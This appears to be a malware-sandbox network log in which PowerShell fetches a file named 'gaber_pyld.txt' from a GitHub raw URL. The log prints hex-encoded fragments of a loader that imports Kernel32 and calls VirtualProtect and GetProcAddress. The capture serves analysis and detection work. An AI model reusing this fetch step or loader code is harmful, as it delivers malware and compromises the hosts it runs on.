2024-09-16 17:32:58 UTC	1378	IN	Data Raw: 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 36 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 39 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 46 2c 20 30 78 30 30 2c 20 30 78 Data Ascii: 0x73, 0x00, 0x73, 0x00, 0x20, 0x00, 0x66, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x20, 0x00, 0x63, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x72, 0x00, 0x69, 0x00, 0x74, 0x00, 0x79, 0x00, 0x0A, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x2F, 0x00, 0x
2024-09-16 17:32:58 UTC	1378	IN	Data Raw: 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 Data Ascii: 0, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x20, 0x00, 0x64, 0x00, 0x65, 0x00, 0x63, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x72, 0x00, 0x61, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x73, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00,
2024-09-16 17:32:58 UTC	1378	IN	Data Raw: 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 34 45 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 36 44 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 32 39 2c 20 30 78 30 30 2c 20 30 78 33 42 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 Data Ascii: x00, 0x74, 0x00, 0x72, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x20, 0x00, 0x70, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x4E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x29, 0x00, 0x3B, 0x00, 0x0A, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00
2024-09-16 17:32:58 UTC	1378	IN	Data Raw: 20 30 78 30 30 2c 20 30 78 34 34 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 34 39 2c 20 30 78 30 30 2c 20 30 78 36 44 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 38 2c 20 30 78 30 30 2c 20 30 78 34 42 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 33 33 2c 20 30 78 30 30 2c 20 30 78 33 32 2c 20 30 78 30 30 2c 20 30 78 34 43 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 32 2c 20 30 78 Data Ascii: 0x00, 0x44, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x49, 0x00, 0x6D, 0x00, 0x70, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x74, 0x00, 0x28, 0x00, 0x4B, 0x00, 0x65, 0x00, 0x72, 0x00, 0x6E, 0x00, 0x65, 0x00, 0x6C, 0x00, 0x33, 0x00, 0x32, 0x00, 0x4C, 0x00, 0x69, 0x00, 0x62, 0x
2024-09-16 17:32:58 UTC	1378	IN	Data Raw: 45 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 37 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 43 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 Data Ascii: E, 0x00, 0x65, 0x00, 0x77, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x74, 0x00, 0x65, 0x00, 0x63, 0x00, 0x74, 0x00, 0x2C, 0x00, 0x20, 0x00, 0x6F, 0x00, 0x75, 0x00, 0x74, 0x00, 0x20, 0x00, 0x75, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x20, 0x00, 0x6C,
2024-09-16 17:32:58 UTC	1378	IN	Data Raw: 78 34 37 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 34 31 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 32 38 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 37 2c 20 30 78 30 30 2c 20 30 78 32 30 Data Ascii: x47, 0x00, 0x65, 0x00, 0x74, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x41, 0x00, 0x64, 0x00, 0x64, 0x00, 0x72, 0x00, 0x65, 0x00, 0x73, 0x00, 0x73, 0x00, 0x28, 0x00, 0x73, 0x00, 0x74, 0x00, 0x72, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x20
2024-09-16 17:32:58 UTC	1378	IN	Data Raw: 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 38 2c 20 30 78 30 30 2c 20 30 78 36 38 2c 20 30 78 30 30 2c 20 30 78 34 44 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 33 44 2c 20 30 78 30 30 2c 20 30 78 33 44 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 32 45 2c 20 30 78 30 30 2c 20 30 78 35 41 2c 20 30 78 30 30 2c 20 30 78 Data Ascii: 0x20, 0x00, 0x28, 0x00, 0x68, 0x00, 0x4D, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x75, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x20, 0x00, 0x3D, 0x00, 0x3D, 0x00, 0x20, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x50, 0x00, 0x74, 0x00, 0x72, 0x00, 0x2E, 0x00, 0x5A, 0x00, 0x
2024-09-16 17:32:58 UTC	1378	IN	Data Raw: 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 34 31 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 Data Ascii: 0, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x50, 0x00, 0x74, 0x00, 0x72, 0x00, 0x20, 0x00, 0x70, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x41, 0x00, 0x64, 0x00, 0x64, 0x00,
2024-09-16 17:32:58 UTC	1378	IN	Data Raw: 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 38 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 35 2c 20 30 78 30 30 2c 20 30 78 37 38 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 Data Ascii: x00, 0x20, 0x00, 0x20, 0x00, 0x74, 0x00, 0x68, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x20, 0x00, 0x6E, 0x00, 0x65, 0x00, 0x77, 0x00, 0x20, 0x00, 0x45, 0x00, 0x78, 0x00, 0x63, 0x00, 0x65, 0x00, 0x70, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49761	185.199.110.133	443	1208	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 17:32:58 UTC	227	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-09-16 17:32:58 UTC	899	IN	HTTP/1.1 200 OK Connection: close Content-Length: 159293 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "80ad5dac8b21f93f5913af03c53e98e879731d41370452cf941cf04d26ae655d" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 3E58:16D6:EF199A:10A43C8:66E869CE Accept-Ranges: bytes Date: Mon, 16 Sep 2024 17:32:58 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740051-EWR X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1726507979.700734,VS0,VE2 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 014b2b350e507df2e13e2975476cb01c7a1633e0 Expires: Mon, 16 Sep 2024 17:37:58 GMT Source-Age: 0
2024-09-16 17:32:58 UTC	1378	IN	Data Raw: 24 62 79 74 65 73 20 3d 20 40 28 30 78 32 34 2c 20 30 78 30 30 2c 20 30 78 35 33 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 33 44 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 30 2c 20 30 78 30 30 2c 20 30 78 32 32 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 35 33 2c 20 30 78 30 30 2c 20 30 78 37 39 Data Ascii: $bytes = @(0x24, 0x00, 0x53, 0x00, 0x6F, 0x00, 0x75, 0x00, 0x72, 0x00, 0x63, 0x00, 0x65, 0x00, 0x20, 0x00, 0x3D, 0x00, 0x20, 0x00, 0x40, 0x00, 0x22, 0x00, 0x0A, 0x00, 0x75, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x20, 0x00, 0x53, 0x00, 0x79
2024-09-16 17:32:58 UTC	1378	IN	Data Raw: 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 36 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 39 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 46 2c 20 30 78 30 30 2c 20 30 78 Data Ascii: 0x73, 0x00, 0x73, 0x00, 0x20, 0x00, 0x66, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x20, 0x00, 0x63, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x72, 0x00, 0x69, 0x00, 0x74, 0x00, 0x79, 0x00, 0x0A, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x2F, 0x00, 0x
2024-09-16 17:32:58 UTC	1378	IN	Data Raw: 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 Data Ascii: 0, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x20, 0x00, 0x64, 0x00, 0x65, 0x00, 0x63, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x72, 0x00, 0x61, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x73, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00,
2024-09-16 17:32:58 UTC	1378	IN	Data Raw: 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 34 45 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 36 44 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 32 39 2c 20 30 78 30 30 2c 20 30 78 33 42 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 Data Ascii: x00, 0x74, 0x00, 0x72, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x20, 0x00, 0x70, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x4E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x29, 0x00, 0x3B, 0x00, 0x0A, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00
2024-09-16 17:32:58 UTC	1378	IN	Data Raw: 20 30 78 30 30 2c 20 30 78 34 34 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 34 39 2c 20 30 78 30 30 2c 20 30 78 36 44 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 38 2c 20 30 78 30 30 2c 20 30 78 34 42 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 33 33 2c 20 30 78 30 30 2c 20 30 78 33 32 2c 20 30 78 30 30 2c 20 30 78 34 43 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 32 2c 20 30 78 Data Ascii: 0x00, 0x44, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x49, 0x00, 0x6D, 0x00, 0x70, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x74, 0x00, 0x28, 0x00, 0x4B, 0x00, 0x65, 0x00, 0x72, 0x00, 0x6E, 0x00, 0x65, 0x00, 0x6C, 0x00, 0x33, 0x00, 0x32, 0x00, 0x4C, 0x00, 0x69, 0x00, 0x62, 0x
2024-09-16 17:32:58 UTC	1378	IN	Data Raw: 45 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 37 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 43 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 Data Ascii: E, 0x00, 0x65, 0x00, 0x77, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x74, 0x00, 0x65, 0x00, 0x63, 0x00, 0x74, 0x00, 0x2C, 0x00, 0x20, 0x00, 0x6F, 0x00, 0x75, 0x00, 0x74, 0x00, 0x20, 0x00, 0x75, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x20, 0x00, 0x6C,
2024-09-16 17:32:58 UTC	1378	IN	Data Raw: 78 34 37 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 34 31 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 32 38 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 37 2c 20 30 78 30 30 2c 20 30 78 32 30 Data Ascii: x47, 0x00, 0x65, 0x00, 0x74, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x41, 0x00, 0x64, 0x00, 0x64, 0x00, 0x72, 0x00, 0x65, 0x00, 0x73, 0x00, 0x73, 0x00, 0x28, 0x00, 0x73, 0x00, 0x74, 0x00, 0x72, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x20
2024-09-16 17:32:58 UTC	1378	IN	Data Raw: 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 38 2c 20 30 78 30 30 2c 20 30 78 36 38 2c 20 30 78 30 30 2c 20 30 78 34 44 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 33 44 2c 20 30 78 30 30 2c 20 30 78 33 44 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 32 45 2c 20 30 78 30 30 2c 20 30 78 35 41 2c 20 30 78 30 30 2c 20 30 78 Data Ascii: 0x20, 0x00, 0x28, 0x00, 0x68, 0x00, 0x4D, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x75, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x20, 0x00, 0x3D, 0x00, 0x3D, 0x00, 0x20, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x50, 0x00, 0x74, 0x00, 0x72, 0x00, 0x2E, 0x00, 0x5A, 0x00, 0x
2024-09-16 17:32:58 UTC	1378	IN	Data Raw: 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 